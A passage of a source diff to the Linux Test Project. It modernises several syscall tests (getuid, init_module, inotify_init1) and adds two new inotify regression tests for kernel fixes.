- * For functionality test the return value from getgid() is compared to passwd
- * entry.
+ * Check that getuid() return value matches value from /proc/self/status.
  */
 
-#include <pwd.h>
-#include <errno.h>
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
-#include "test.h"
-#include "compat_16.h"
-
-TCID_DEFINE(getuid03);
-int TST_TOTAL = 1;
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
+static void verify_getuid(void)
 {
-	struct passwd *pwent;
-	int lc;
-	uid_t uid;
+	long uid;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TST_EXP_POSITIVE(GETUID(), "getuid()");
 
-	setup();
+	if (!TST_PASS)
+		return;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	SAFE_FILE_LINES_SCANF("/proc/self/status", "Uid: %ld", &uid);
 
-		tst_count = 0;
-
-		TEST(GETUID(cleanup));
-
-		if (TEST_RETURN == -1)
-			tst_brkm(TBROK | TTERRNO, cleanup, "getuid failed");
-
-		uid = getuid();
-		pwent = getpwuid(uid);
-
-		if (pwent == NULL)
-			tst_resm(TFAIL | TERRNO, "getpwuid failed");
-
-		UID16_CHECK(pwent->pw_uid, getuid, cleanup);
-
-		if (pwent->pw_uid != TEST_RETURN)
-			tst_resm(TFAIL, "getpwuid value, %d, "
-				 "does not match getuid "
-				 "value, %ld", pwent->pw_uid,
-				 TEST_RETURN);
-		else
-			tst_resm(TPASS, "values from getuid "
-				 "and getpwuid match");
+	if (TST_RET != uid) {
+		tst_res(TFAIL,
+			"getuid() ret %ld != /proc/self/status Uid: %ld",
+			TST_RET, uid);
+	} else {
+		tst_res(TPASS,
+			"getuid() ret == /proc/self/status Uid: %ld", uid);
 	}
-	cleanup();
-	tst_exit();
 }
 
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.test_all = verify_getuid,
+};
diff --git a/testcases/kernel/syscalls/getxattr/getxattr05.c b/testcases/kernel/syscalls/getxattr/getxattr05.c
index c0d339f..3e73cc5 100644
--- a/testcases/kernel/syscalls/getxattr/getxattr05.c
+++ b/testcases/kernel/syscalls/getxattr/getxattr05.c
@@ -100,8 +100,7 @@
 		/* uid_map file should exist since Linux 3.8 because
 		 * it is available on Linux 3.5
 		 */
-		if (access(UID_MAP, F_OK))
-			tst_brk(TBROK, "file %s didn't exist", UID_MAP);
+		SAFE_ACCESS(UID_MAP, F_OK);
 
 		SAFE_FILE_PRINTF(UID_MAP, "%d %d %d", 0, 0, 1);
 	}
diff --git a/testcases/kernel/syscalls/init_module/init_module01.c b/testcases/kernel/syscalls/init_module/init_module01.c
index 2f47eed..79e567c 100644
--- a/testcases/kernel/syscalls/init_module/init_module01.c
+++ b/testcases/kernel/syscalls/init_module/init_module01.c
@@ -53,4 +53,6 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.needs_root = 1,
+	/* lockdown requires signed modules */
+	.skip_in_lockdown = 1,
 };
diff --git a/testcases/kernel/syscalls/init_module/init_module02.c b/testcases/kernel/syscalls/init_module/init_module02.c
index 3953f4f..ad6569a 100644
--- a/testcases/kernel/syscalls/init_module/init_module02.c
+++ b/testcases/kernel/syscalls/init_module/init_module02.c
@@ -22,6 +22,7 @@
 #define MODULE_NAME	"init_module.ko"
 
 static unsigned long size, zero_size;
+static int kernel_lockdown;
 static void *buf, *faulty_buf, *null_buf;
 
 static struct tst_cap cap_req = TST_CAP(TST_CAP_REQ, CAP_SYS_MODULE);
@@ -33,15 +34,16 @@
 	unsigned long *size;
 	const char *param;
 	int cap;
+	int skip_in_lockdown;
 	int exp_errno;
 } tcases[] = {
-	{"NULL-buffer", &null_buf, &size, "", 0, EFAULT},
-	{"faulty-buffer", &faulty_buf, &size, "", 0, EFAULT},
-	{"null-param", &buf, &size, NULL, 0, EFAULT},
-	{"zero-size", &buf, &zero_size, "", 0, ENOEXEC},
-	{"invalid_param", &buf, &size, "status=invalid", 0, EINVAL},
-	{"no-perm", &buf, &size, "", 1, EPERM},
-	{"module-exists", &buf, &size, "", 0, EEXIST},
+	{"NULL-buffer", &null_buf, &size, "", 0, 0, EFAULT},
+	{"faulty-buffer", &faulty_buf, &size, "", 0, 0, EFAULT},
+	{"null-param", &buf, &size, NULL, 0, 1, EFAULT},
+	{"zero-size", &buf, &zero_size, "", 0, 0, ENOEXEC},
+	{"invalid_param", &buf, &size, "status=invalid", 0, 1, EINVAL},
+	{"no-perm", &buf, &size, "", 1, 0, EPERM},
+	{"module-exists", &buf, &size, "", 0, 1, EEXIST},
 };
 
 static void setup(void)
@@ -51,6 +53,7 @@
 
 	tst_module_exists(MODULE_NAME, NULL);
 
+	kernel_lockdown = tst_lockdown_enabled();
 	fd = SAFE_OPEN(MODULE_NAME, O_RDONLY|O_CLOEXEC);
 	SAFE_FSTAT(fd, &sb);
 	size = sb.st_size;
@@ -64,6 +67,11 @@
 {
 	struct tcase *tc = &tcases[n];
 
+	if (tc->skip_in_lockdown && kernel_lockdown) {
+		tst_res(TCONF, "Kernel is locked down, skipping %s", tc->name);
+		return;
+	}
+
 	if (tc->cap)
 		tst_cap_action(&cap_drop);
 
@@ -71,8 +79,8 @@
 	if (tc->exp_errno == EEXIST)
 		tst_module_load(MODULE_NAME, NULL);
 
-	TST_EXP_FAIL(init_module(*tc->buf, *tc->size, tc->param), tc->exp_errno,
-		     "TestName: %s", tc->name);
+	TST_EXP_FAIL(init_module(*tc->buf, *tc->size, tc->param),
+		tc->exp_errno, "TestName: %s", tc->name);
 
 	if (tc->exp_errno == EEXIST)
 		tst_module_unload(MODULE_NAME);
diff --git a/testcases/kernel/syscalls/inotify/.gitignore b/testcases/kernel/syscalls/inotify/.gitignore
index da9bfc7..f6e5c54 100644
--- a/testcases/kernel/syscalls/inotify/.gitignore
+++ b/testcases/kernel/syscalls/inotify/.gitignore
@@ -8,3 +8,5 @@
 /inotify08
 /inotify09
 /inotify10
+/inotify11
+/inotify12
diff --git a/testcases/kernel/syscalls/inotify/inotify02.c b/testcases/kernel/syscalls/inotify/inotify02.c
index 32855e0..576ef43 100644
--- a/testcases/kernel/syscalls/inotify/inotify02.c
+++ b/testcases/kernel/syscalls/inotify/inotify02.c
@@ -150,7 +150,7 @@
 					"1c17d18e3775485bf1e0ce79575eb637a94494a2.");
 			tst_res(TFAIL,
 				"get unnecessary event: "
-				"wd=%d mask=%08x cookie=%-5u len=%-2u"
+				"wd=%d mask=%08x cookie=%-5u len=%-2u "
 				"name=\"%.*s\"", event->wd, event->mask,
 				event->cookie, event->len, event->len,
 				event->name);
diff --git a/testcases/kernel/syscalls/inotify/inotify06.c b/testcases/kernel/syscalls/inotify/inotify06.c
index 6881376..900bc1c 100644
--- a/testcases/kernel/syscalls/inotify/inotify06.c
+++ b/testcases/kernel/syscalls/inotify/inotify06.c
@@ -87,6 +87,11 @@
 			myinotify_add_watch(inotify_fd, names[i], IN_MODIFY);
 		}
 		SAFE_CLOSE(inotify_fd);
+
+		if (!tst_remaining_runtime()) {
+			tst_res(TINFO, "Test out of runtime, exiting");
+			break;
+		}
 	}
 	/* We survived for given time - test succeeded */
 	tst_res(TPASS, "kernel survived inotify beating");
@@ -108,7 +113,7 @@
 }
 
 static struct tst_test test = {
-	.timeout = 600,
+	.max_runtime = 600,
 	.needs_root = 1,
 	.needs_tmpdir = 1,
 	.forks_child = 1,
diff --git a/testcases/kernel/syscalls/inotify/inotify07.c b/testcases/kernel/syscalls/inotify/inotify07.c
index a496489..a8820f0 100644
--- a/testcases/kernel/syscalls/inotify/inotify07.c
+++ b/testcases/kernel/syscalls/inotify/inotify07.c
@@ -100,7 +100,7 @@
 		if (test_num >= test_cnt) {
 			tst_res(TFAIL,
 				"get unnecessary event: "
-				"wd=%d mask=%08x cookie=%-5u len=%-2u"
+				"wd=%d mask=%08x cookie=%-5u len=%-2u "
 				"name=\"%.*s\"", event->wd, event->mask,
 				event->cookie, event->len, event->len,
 				event->name);
@@ -169,8 +169,8 @@
 static void cleanup(void)
 {
 	if (reap_wd && myinotify_rm_watch(fd_notify, wd) < 0) {
-		tst_res(TWARN,
-			"inotify_rm_watch (%d, %d) failed,", fd_notify, wd);
+		tst_res(TWARN, "inotify_rm_watch (%d, %d) failed",
+			fd_notify, wd);
 	}
 
 	if (fd_notify > 0)
diff --git a/testcases/kernel/syscalls/inotify/inotify09.c b/testcases/kernel/syscalls/inotify/inotify09.c
index fdfc9c0..a187507 100644
--- a/testcases/kernel/syscalls/inotify/inotify09.c
+++ b/testcases/kernel/syscalls/inotify/inotify09.c
@@ -94,6 +94,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = verify_inotify,
+	.max_runtime = 150,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "d90a10e2444b"},
 		{}
diff --git a/testcases/kernel/syscalls/inotify/inotify11.c b/testcases/kernel/syscalls/inotify/inotify11.c
new file mode 100644
index 0000000..dd32ea7
--- /dev/null
+++ b/testcases/kernel/syscalls/inotify/inotify11.c
@@ -0,0 +1,133 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 CTERA Networks. All Rights Reserved.
+ *
+ * Started by Amir Goldstein <amir73il@gmail.com>
+ * based on reproducer from Ivan Delalande <colona@arista.com>
+ */
+
+/*\
+ * [Description]
+ * Test opening files after receiving IN_DELETE.
+ *
+ * Kernel v5.13 has a regression allowing files to be open after IN_DELETE.
+ *
+ * The problem has been fixed by commit:
+ *  a37d9a17f099 "fsnotify: invalidate dcache before IN_DELETE event".
+ */
+
+#include "config.h"
+
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+#include "inotify.h"
+
+#if defined(HAVE_SYS_INOTIFY_H)
+#include <sys/inotify.h>
+
+/* Number of files to test */
+#define CHURN_FILES 9999
+
+#define EVENT_MAX 32
+/* Size of the event structure, not including the name */
+#define EVENT_SIZE	(sizeof(struct inotify_event))
+#define EVENT_BUF_LEN	(EVENT_MAX * (EVENT_SIZE + 16))
+
+static pid_t pid;
+
+static char event_buf[EVENT_BUF_LEN];
+
+static void churn(void)
+{
+	char path[10];
+	int i;
+
+	for (i = 0; i <= CHURN_FILES; ++i) {
+		snprintf(path, sizeof(path), "%d", i);
+		SAFE_FILE_PRINTF(path, "1");
+		SAFE_UNLINK(path);
+	}
+}
+
+static void verify_inotify(void)
+{
+	int nevents = 0, opened = 0;
+	struct inotify_event *event;
+	int inotify_fd;
+
+	inotify_fd = SAFE_MYINOTIFY_INIT();
+	SAFE_MYINOTIFY_ADD_WATCH(inotify_fd, ".", IN_DELETE);
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		SAFE_CLOSE(inotify_fd);
+		churn();
+		return;
+	}
+
+	while (!opened && nevents < CHURN_FILES) {
+		int i, fd, len;
+
+		len = SAFE_READ(0, inotify_fd, event_buf, EVENT_BUF_LEN);
+
+		for (i = 0; i < len; i += EVENT_SIZE + event->len) {
+			event = (struct inotify_event *)&event_buf[i];
+
+			if (!(event->mask & IN_DELETE))
+				continue;
+
+			nevents++;
+
+			/* Open file after IN_DELETE should fail */
+			fd = open(event->name, O_RDONLY);
+			if (fd < 0)
+				continue;
+
+			tst_res(TFAIL, "File %s opened after IN_DELETE", event->name);
+			SAFE_CLOSE(fd);
+			opened = 1;
+			break;
+		}
+	}
+
+	SAFE_CLOSE(inotify_fd);
+
+	if (!nevents)
+		tst_res(TFAIL, "Didn't get any IN_DELETE events");
+	else if (!opened)
+		tst_res(TPASS, "Got %d IN_DELETE events", nevents);
+
+	/* Kill the child creating / deleting files and wait for it */
+	SAFE_KILL(pid, SIGKILL);
+	pid = 0;
+	SAFE_WAIT(NULL);
+}
+
+static void cleanup(void)
+{
+	if (pid) {
+		SAFE_KILL(pid, SIGKILL);
+		SAFE_WAIT(NULL);
+	}
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.cleanup = cleanup,
+	.test_all = verify_inotify,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "a37d9a17f099"},
+		{}
+	}
+};
+
+#else
+	TST_TEST_TCONF("system doesn't have required inotify support");
+#endif
diff --git a/testcases/kernel/syscalls/inotify/inotify12.c b/testcases/kernel/syscalls/inotify/inotify12.c
new file mode 100644
index 0000000..f63c33d
--- /dev/null
+++ b/testcases/kernel/syscalls/inotify/inotify12.c
@@ -0,0 +1,168 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 CTERA Networks. All Rights Reserved.
+ *
+ * Author: Amir Goldstein <amir73il@gmail.com>
+ */
+
+/*\
+ * [Description]
+ * Test special inotify mask flags.
+ *
+ * Regression test for kernel commit:
+ * a32e697cda27 ("inotify: show inotify mask flags in proc fdinfo")
+ */
+
+#include "config.h"
+
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <sys/wait.h>
+
+#include "tst_test.h"
+#include "tst_safe_macros.h"
+#include "inotify.h"
+
+#if defined(HAVE_SYS_INOTIFY_H)
+#include <sys/inotify.h>
+
+#define EVENT_MAX 32
+/* Size of the event structure, not including the name */
+#define EVENT_SIZE	(sizeof(struct inotify_event))
+#define EVENT_BUF_LEN	(EVENT_MAX * (EVENT_SIZE + 16))
+
+#define	TEST_FILE	"test_file"
+
+static char event_buf[EVENT_BUF_LEN];
+
+static struct tcase {
+	const char *tname;
+	unsigned int mask;
+	int expect_events;
+} tcases[] = {
+	{
+		"Watch for multi events",
+		IN_MODIFY,
+		2,
+	},
+	{
+		"Watch for single event",
+		IN_MODIFY | IN_ONESHOT,
+		1,
+	},
+	{
+		"Watch for events on linked file",
+		IN_MODIFY | IN_EXCL_UNLINK,
+		1,
+	},
+};
+
+static int fd_notify;
+
+static void verify_inotify(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	int fd, len;
+	unsigned int tmpmask;
+	char procfdinfo[100];
+	struct inotify_event *event = (struct inotify_event *)event_buf;
+
+	tst_res(TINFO, "Test #%d: %s", n, tc->tname);
+
+	fd_notify = SAFE_MYINOTIFY_INIT1(O_NONBLOCK);
+
+	SAFE_FILE_PRINTF(TEST_FILE, "1");
+
+	SAFE_MYINOTIFY_ADD_WATCH(fd_notify, ".", tc->mask);
+
+	sprintf(procfdinfo, "/proc/%d/fdinfo/%d", (int)getpid(), fd_notify);
+	if (FILE_LINES_SCANF(procfdinfo, "inotify wd:%*d ino:%*x sdev:%*x mask:%x",
+			     &tmpmask)) {
+		tst_res(TFAIL, "Could not parse inotify fdinfo");
+	} else if (tmpmask != tc->mask) {
+		tst_res(TFAIL, "Incorrect mask %x in inotify fdinfo (expected %x)",
+			tmpmask, tc->mask);
+	} else {
+		tst_res(TPASS, "Correct mask in inotify fdinfo");
+	}
+
+	fd = SAFE_OPEN(TEST_FILE, O_RDWR);
+	SAFE_WRITE(1, fd, "2", 1);
+
+	/*
+	 * Read the 1st IN_MODIFY event
+	 */
+	len = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN);
+
+	if (len < (int)sizeof(*event)) {
+		tst_res(TFAIL, "Got no events");
+	} else if (event->mask == IN_MODIFY) {
+		tst_res(TPASS, "Got 1st event as expected");
+	} else {
+		tst_res(TFAIL, "Got event 0x%x (expected 0x%x)",
+				event->mask, IN_MODIFY);
+	}
+
+	/*
+	 * Unlink file so IN_EXCL_UNLINK won't get IN_ACCESS event.
+	 * IN_ONESHOT won't get IN_ACCESS event because IN_MODIFY
+	 * was already generated.
+	 */
+	SAFE_UNLINK(TEST_FILE);
+	SAFE_WRITE(1, fd, "3", 1);
+	SAFE_CLOSE(fd);
+
+	/*
+	 * Possibly read the 2nd IN_MODIFY event
+	 */
+	errno = 0;
+	len = read(fd_notify, event_buf, EVENT_BUF_LEN);
+	SAFE_CLOSE(fd_notify);
+	if (len < 0 && errno == EAGAIN) {
+		/* Treat no event same as we treat IN_IGNORED */
+		event->mask = IN_IGNORED;
+	} else if (len < (int)sizeof(*event)) {
+		tst_res(TFAIL | TERRNO, "Failed to read events");
+		return;
+	}
+
+	if (event->mask == IN_MODIFY) {
+		if (tc->expect_events > 1)
+			tst_res(TPASS, "Got 2nd event as expected");
+		else
+			tst_res(TFAIL, "Got unexpected 2nd event");
+	} else if (event->mask == IN_IGNORED) {
+		if (tc->expect_events == 1)
+			tst_res(TPASS, "Got no more events as expected");
+		else
+			tst_res(TFAIL, "Got only one event (expected %d)",
+					tc->expect_events);
+	} else {
+		tst_res(TFAIL, "Got unexpected event 0x%x",
+				event->mask);
+	}
+}
+
+static void cleanup(void)
+{
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
+}
+
+static struct tst_test test = {
+	.max_runtime = 10,
+	.needs_tmpdir = 1,
+	.cleanup = cleanup,
+	.test = verify_inotify,
+	.tcnt = ARRAY_SIZE(tcases),
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "a32e697cda27"},
+		{}
+	},
+};
+
+#else
+	TST_TEST_TCONF("system doesn't have required inotify support");
+#endif
diff --git a/testcases/kernel/syscalls/inotify_init/inotify_init1_01.c b/testcases/kernel/syscalls/inotify_init/inotify_init1_01.c
index f1203a4..b2f582f 100644
--- a/testcases/kernel/syscalls/inotify_init/inotify_init1_01.c
+++ b/testcases/kernel/syscalls/inotify_init/inotify_init1_01.c
@@ -1,176 +1,41 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) Ulrich Drepper <drepper@redhat.com>                          */
-/* Copyright (c) International Business Machines  Corp., 2009                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-/******************************************************************************/
-/*                                                                            */
-/* File:        inotify_init1_01.c                                            */
-/*                                                                            */
-/* Description: This Program tests the new system call introduced in 2.6.27.  */
-/*              Ulrich´s comment as in:                                       */
-/* http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=4006553b06306b34054529477b06b68a1c66249b */
-/*              says:                                                         */
-/* This patch introduces the new syscall inotify_init1 (note: the 1 stands for*/
-/* the one parameter the syscall takes, as opposed to no parameter before).   */
-/* The values accepted for this parameter are function-specific and defined in*/
-/* the inotify.h header.  Here the values must match the O_* flags, though.   */
-/* In this patch CLOEXEC support is introduced.                               */
-/*                The following test must be adjusted for architectures other */
-/* than x86 and x86-64 and in case the syscall numbers changed.               */
-/*                                                                            */
-/* Usage:  <for command-line>                                                 */
-/* inotify_init1_01 [-c n] [-e][-i n] [-I x] [-p x] [-t]                      */
-/*      where,  -c n : Run n copies concurrently.                             */
-/*              -e   : Turn on errno logging.                                 */
-/*              -i n : Execute test n times.                                  */
-/*              -I x : Execute test for x seconds.                            */
-/*              -P x : Pause for x seconds between iterations.                */
-/*              -t   : Turn on syscall timing.                                */
-/*                                                                            */
-/* Total Tests: 1                                                             */
-/*                                                                            */
-/* Test Name:   inotify_init1_01                                                      */
-/*                                                                            */
-/* Author:      Ulrich Drepper <drepper@redhat.com>                           */
-/*                                                                            */
-/* History:     Created - Jan 13 2009 - Ulrich Drepper <drepper@redhat.com>   */
-/*              Ported to LTP                                                 */
-/*                      - Jan 13 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
-/******************************************************************************/
-#include <fcntl.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <errno.h>
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Ulrich Drepper <drepper@redhat.com>
+ * Copyright (c) International Business Machines  Corp., 2009
+ * Ported to LTP - Jan 13 2009 - Subrata <subrata@linux.vnet.ibm.com>
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
+ */
 
-#include "test.h"
-#include "lapi/fcntl.h"
+/*\
+ * [Description]
+ *
+ * Verify that inotify_init1() returns a file descriptor and sets
+ * the close-on-exec (FD_CLOEXEC) flag on the new file descriptor
+ * only when called with IN_CLOEXEC.
+ */
+
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
 #define IN_CLOEXEC O_CLOEXEC
 
-char *TCID = "inotify_init1_01";
-int testno;
-int TST_TOTAL = 1;
-
-/* Extern Global Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    cleanup                                                       */
-/*                                                                            */
-/* Description: Performs all one time clean up for this test on successful    */
-/*              completion,  premature exit or  failure. Closes all temporary */
-/*              files, removes all temporary directories exits the test with  */
-/*              appropriate return code by calling tst_exit() function.       */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*              On success - Exits calling tst_exit(). With '0' return code.  */
-/*                                                                            */
-/******************************************************************************/
-void cleanup(void)
+static void run(void)
 {
+	int fd, fd_flags;
 
-	tst_rmdir();
+	TST_EXP_FD(tst_syscall(__NR_inotify_init1, 0));
+	fd = TST_RET;
+	fd_flags = SAFE_FCNTL(fd, F_GETFD);
+	TST_EXP_EQ_LI(fd_flags & FD_CLOEXEC, 0);
+	SAFE_CLOSE(fd);
+
+	TST_EXP_FD(tst_syscall(__NR_inotify_init1, IN_CLOEXEC));
+	fd = TST_RET;
+	fd_flags = SAFE_FCNTL(fd, F_GETFD);
+	TST_EXP_EQ_LI(fd_flags & FD_CLOEXEC, FD_CLOEXEC);
+	SAFE_CLOSE(fd);
 }
 
-/* Local  Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    setup                                                         */
-/*                                                                            */
-/* Description: Performs all one time setup for this test. This function is   */
-/*              typically used to capture signals, create temporary dirs      */
-/*              and temporary files that may be used in the course of this    */
-/*              test.                                                         */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits by calling cleanup().                      */
-/*              On success - returns 0.                                       */
-/*                                                                            */
-/******************************************************************************/
-void setup(void)
-{
-	/* Capture signals if any */
-	/* Create temporary directories */
-	TEST_PAUSE;
-	tst_tmpdir();
-}
-
-int main(int argc, char *argv[])
-{
-	int fd, coe;
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	if ((tst_kvercmp(2, 6, 27)) < 0) {
-		tst_brkm(TCONF, NULL,
-			 "This test can only run on kernels that are 2.6.27 "
-			 "and higher");
-	}
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			fd = ltp_syscall(__NR_inotify_init1, 0);
-			if (fd == -1) {
-				tst_brkm(TFAIL | TERRNO, cleanup,
-					 "inotify_init1(0) failed");
-			}
-			coe = fcntl(fd, F_GETFD);
-			if (coe == -1) {
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "fcntl failed");
-			}
-			if (coe & FD_CLOEXEC) {
-				tst_brkm(TFAIL, cleanup,
-					 "inotify_init1(0) set close-on-exit");
-			}
-			close(fd);
-
-			fd = ltp_syscall(__NR_inotify_init1, IN_CLOEXEC);
-			if (fd == -1) {
-				tst_brkm(TFAIL | TERRNO, cleanup,
-					 "inotify_init1(IN_CLOEXEC) failed");
-			}
-			coe = fcntl(fd, F_GETFD);
-			if (coe == -1) {
-				tst_resm(TBROK | TERRNO, "fcntl failed");
-			} else if ((coe & FD_CLOEXEC) == 0) {
-				tst_resm(TFAIL,
-					 "inotify_init1(O_CLOEXEC) did not "
-					 "set close-on-exit");
-			} else {
-				close(fd);
-				tst_resm(TPASS, "inotify_init1(O_CLOEXEC) "
-					 "PASSED");
-			}
-		}
-	}
-	tst_exit();
-	cleanup();
-}
+static struct tst_test test = {
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/inotify_init/inotify_init1_02.c b/testcases/kernel/syscalls/inotify_init/inotify_init1_02.c
index b074214..3baf35e 100644
--- a/testcases/kernel/syscalls/inotify_init/inotify_init1_02.c
+++ b/testcases/kernel/syscalls/inotify_init/inotify_init1_02.c
@@ -1,173 +1,41 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) Ulrich Drepper <drepper@redhat.com>                          */
-/* Copyright (c) International Business Machines  Corp., 2009                 */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/******************************************************************************/
-/******************************************************************************/
-/*                                                                            */
-/* File:        inotify_init1_02.c                                            */
-/*                                                                            */
-/* Description: This Program tests the new system call introduced in 2.6.27.  */
-/*              Ulrich´s comment as in:                                       */
-/* http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=510df2dd482496083e1c3b1a8c9b6afd5fa4c7d7 */
-/* which says:                                                                */
-/* This patch adds non-blocking support for inotify_init1.  The additional    */
-/* changes needed are minimal. The following test must be adjusted for        */
-/* architectures other than x86 and x86-64 and in case the syscall numbers    */
-/* changed.                                                                   */
-/*                                                                            */
-/* Usage:  <for command-line>                                                 */
-/* inotify_init1_02 [-c n] [-e][-i n] [-I x] [-p x] [-t]                      */
-/*      where,  -c n : Run n copies concurrently.                             */
-/*              -e   : Turn on errno logging.                                 */
-/*              -i n : Execute test n times.                                  */
-/*              -I x : Execute test for x seconds.                            */
-/*              -P x : Pause for x seconds between iterations.                */
-/*              -t   : Turn on syscall timing.                                */
-/*                                                                            */
-/* Total Tests: 1                                                             */
-/*                                                                            */
-/* Test Name:   inotify_init1_02                                              */
-/*                                                                            */
-/* Author:      Ulrich Drepper <drepper@redhat.com>                           */
-/*                                                                            */
-/* History:     Created - Jan 13 2009 - Ulrich Drepper <drepper@redhat.com>   */
-/*              Ported to LTP                                                 */
-/*                      - Jan 13 2009 - Subrata <subrata@linux.vnet.ibm.com>  */
-/******************************************************************************/
-#include <fcntl.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <errno.h>
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Ulrich Drepper <drepper@redhat.com>
+ * Copyright (c) International Business Machines  Corp., 2009
+ * Ported to LTP - Jan 13 2009 - Subrata <subrata@linux.vnet.ibm.com>
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
+ */
 
-#include "test.h"
-#include "lapi/fcntl.h"
+/*\
+ * [Description]
+ *
+ * Verify that inotify_init1() returns a file descriptor and sets the
+ * O_NONBLOCK file status flag on the open file description referred
+ * to by the new file descriptor only when called with IN_NONBLOCK.
+ */
+
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
 #define IN_NONBLOCK O_NONBLOCK
 
-char *TCID = "inotify_init1_02";
-int testno;
-int TST_TOTAL = 1;
-
-/* Extern Global Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    cleanup                                                       */
-/*                                                                            */
-/* Description: Performs all one time clean up for this test on successful    */
-/*              completion,  premature exit or  failure. Closes all temporary */
-/*              files, removes all temporary directories exits the test with  */
-/*              appropriate return code by calling tst_exit() function.       */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*              On success - Exits calling tst_exit(). With '0' return code.  */
-/*                                                                            */
-/******************************************************************************/
-void cleanup(void)
+static void run(void)
 {
+	int fd, flags;
 
-	tst_rmdir();
+	TST_EXP_FD(tst_syscall(__NR_inotify_init1, 0));
+	fd = TST_RET;
+	flags = SAFE_FCNTL(fd, F_GETFL);
+	TST_EXP_EQ_LI(flags & O_NONBLOCK, 0);
+	SAFE_CLOSE(fd);
+
+	TST_EXP_FD(tst_syscall(__NR_inotify_init1, IN_NONBLOCK));
+	fd = TST_RET;
+	flags = SAFE_FCNTL(fd, F_GETFL);
+	TST_EXP_EQ_LI(flags & O_NONBLOCK, O_NONBLOCK);
+	SAFE_CLOSE(fd);
 }
 
-/* Local  Functions */
-/******************************************************************************/
-/*                                                                            */
-/* Function:    setup                                                         */
-/*                                                                            */
-/* Description: Performs all one time setup for this test. This function is   */
-/*              typically used to capture signals, create temporary dirs      */
-/*              and temporary files that may be used in the course of this    */
-/*              test.                                                         */
-/*                                                                            */
-/* Input:       None.                                                         */
-/*                                                                            */
-/* Output:      None.                                                         */
-/*                                                                            */
-/* Return:      On failure - Exits by calling cleanup().                      */
-/*              On success - returns 0.                                       */
-/*                                                                            */
-/******************************************************************************/
-void setup(void)
-{
